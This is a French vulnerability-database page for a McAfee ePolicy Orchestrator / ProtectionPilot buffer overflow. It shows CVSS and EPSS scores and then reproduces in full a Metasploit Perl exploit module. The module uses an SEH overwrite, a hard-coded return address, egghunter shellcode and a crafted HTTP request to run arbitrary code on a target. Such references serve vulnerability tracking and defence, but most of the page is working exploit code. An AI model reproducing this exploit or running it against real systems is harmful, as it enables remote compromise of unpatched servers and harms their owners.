CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Buffer overflow in McAfee ePolicy Orchestrator before 3.5.0.720 and ProtectionPilot before 1.1.1.126 allows remote attackers to execute arbitrary code via a request to /spipe/pkg/ with a long source header.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
79.67%
–
–
2023-03-05
–
–
79.67%
–
–
2023-03-12
–
–
–
97.38%
–
2023-04-16
–
–
–
97.35%
–
2023-05-28
–
–
–
97.34%
–
2023-07-02
–
–
–
97.36%
–
2023-08-13
–
–
–
97.37%
–
2023-09-17
–
–
–
97.31%
–
2023-10-22
–
–
–
97.25%
–
2023-12-03
–
–
–
97.24%
–
2024-01-07
–
–
–
97.26%
–
2024-03-03
–
–
–
97.28%
–
2024-04-14
–
–
–
97.34%
–
2024-06-02
–
–
–
97.34%
–
2024-06-09
–
–
–
97.35%
–
2024-08-25
–
–
–
97.22%
–
2024-12-22
–
–
–
96.88%
–
2025-01-19
–
–
–
96.88%
–
2025-03-18
–
–
–
–
73.48%
2025-03-30
–
–
–
–
74.71%
2025-03-30
–
–
–
–
74.71,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2006-09-30 22h00 +00:00 Auteur : muts EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::mcafee_epolicy_source;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'McAfee ePolicy Orchestrator / ProtPilot Source Overflow',
'Version' => '$Revision: 1.0 $',
'Authors' =>
[
'muts <muts [at] remote-exploit.org>',
'xbxice[at]yahoo.com',
'H D Moore <hdm [at] metasploit.com>'
],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'win2003' ],
'Priv' => 0,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 81],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'Payload' =>
{
# Space is almost unlimited, but 1024 is fine for now
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0b\x0d\x20\x26\x2b\x3d\x25\x8c\x3c\xff",
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This is a stack overflow exploit for McAfee ePolicy Orchestrator 3.5.0
and ProtectionPilot 1.1.0. Tested on Windows 2000 SP4 and Windows 2003 SP1.
This module is based on the exploit by xbxice and muts.
}),
'Refs' =>
[
['URL', 'http://www.remote-exploit.org/advisories/mcafee-epo.pdf' ],
],
'DefaultTarget' => 0,
'Targets' =>
[
['Windows 2000/2003 ePo 3.5.0/ProtectionPilot 1.1.0', 96, 0x601EDBDA], # pop pop ret xmlutil.dll
],
'Keys' => ['epo'],
'DisclosureDate' => 'Jul 17 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
# Use a egghunter stub to find the payload
my $eggtag = Pex::Text::AlphaNumText(4);
my $egghunt =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02" .
"\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" .
$eggtag .
"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";
# Create the 64-byte GUID
my $guid = Pex::Text::AlphaNumText(64);
# Create the 260 byte Source header
my $evil = Pex::Text::AlphaNumText(260);
#
# A long Source header results in a handful of exceptions.
# The first exception occurs with a pointer at offset 116.
# This exception occurs because a function pointer is
# dereferenced from the overwritten data and then called:
# naisp32!naSPIPE_MainWorkFunc+0x3ed:
# mov ecx, [eax+0x270] (eax is offset 116)
# push ecx
# call [eax+0x26c]
#
# When this happens, the first SEH in the chain is also
# overwritten at offset 96, so the exception results
# in our code being called. If we knew of an address
# in memory that pointed to our shellcode, we could
# avoid the SEH completely and use the above call to
# execute our code. This is actually practical, since
# we can upload almost arbitrary amounts of data into
# the heap and then overwrite the function pointer above.
#
# This method is left as an excercise to the reader.
#
# This module will use the SEH overwrite with a pop/pop/ret or
# a jmp/call ebx (2000 only) to gain control of execution. This
# removes the need for a large data upload and should result in
# reliable execution without the need to brute force.
#
# Since the SEH method only leaves ~140 bytes of contiguous
# shellcode space, we use an egghunter to find the real
# payload that we stuffed into the heap as POST data.
#
# Trigger the exception by passing a bad pointer
substr($evil, $target->[1] + 20, 4, Pex::Text::AlphaNumText(3)."\xff");
# Return to pop/pop/ret or equivalent
substr($evil, $target->[1], 4, pack('V', $target->[2]));
# Jump to the egghunter
substr($evil, $target->[1] - 4, 2, "\xeb\x1a");
# Egghunter has 140 bytes of room to work
substr($evil, $target->[1] + 24, length($egghunt), $egghunt);
# Create our post data containing the shellcode
my $data = Pex::Text::AlphaNumText(int(rand(500)+32));
# Embed the search tag and shellcode
$data .= ($eggtag x 2) . $shellcode;
# Add some extra padding
$data .= Pex::Text::AlphaNumText(int(rand(500)+32));
my $req = "GET /spipe/pkg HTTP/1.0\r\n";
$req .="User-Agent: Mozilla/4.0 (compatible; SPIPE/1.0\r\n";
$req .="Content-Length: ". length($data). "\r\n";
$req .="AgentGuid=${guid}\r\n";
$req .="Source=${evil}\r\n";
$req .= "\r\n";
$req .= $data;
$self->PrintLine(sprintf("[*] Trying ".$target->[0]." using 0x%.8x...", $target->[2]));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$s->Send($req);
$self->PrintLine("[*] Waiting up to two minutes for the egghunter...");
$s->Recv(-1, 120);
$self->Handler($s);
$s->Close;
return;
}
1;
# milw0rm.com [2006-10-01]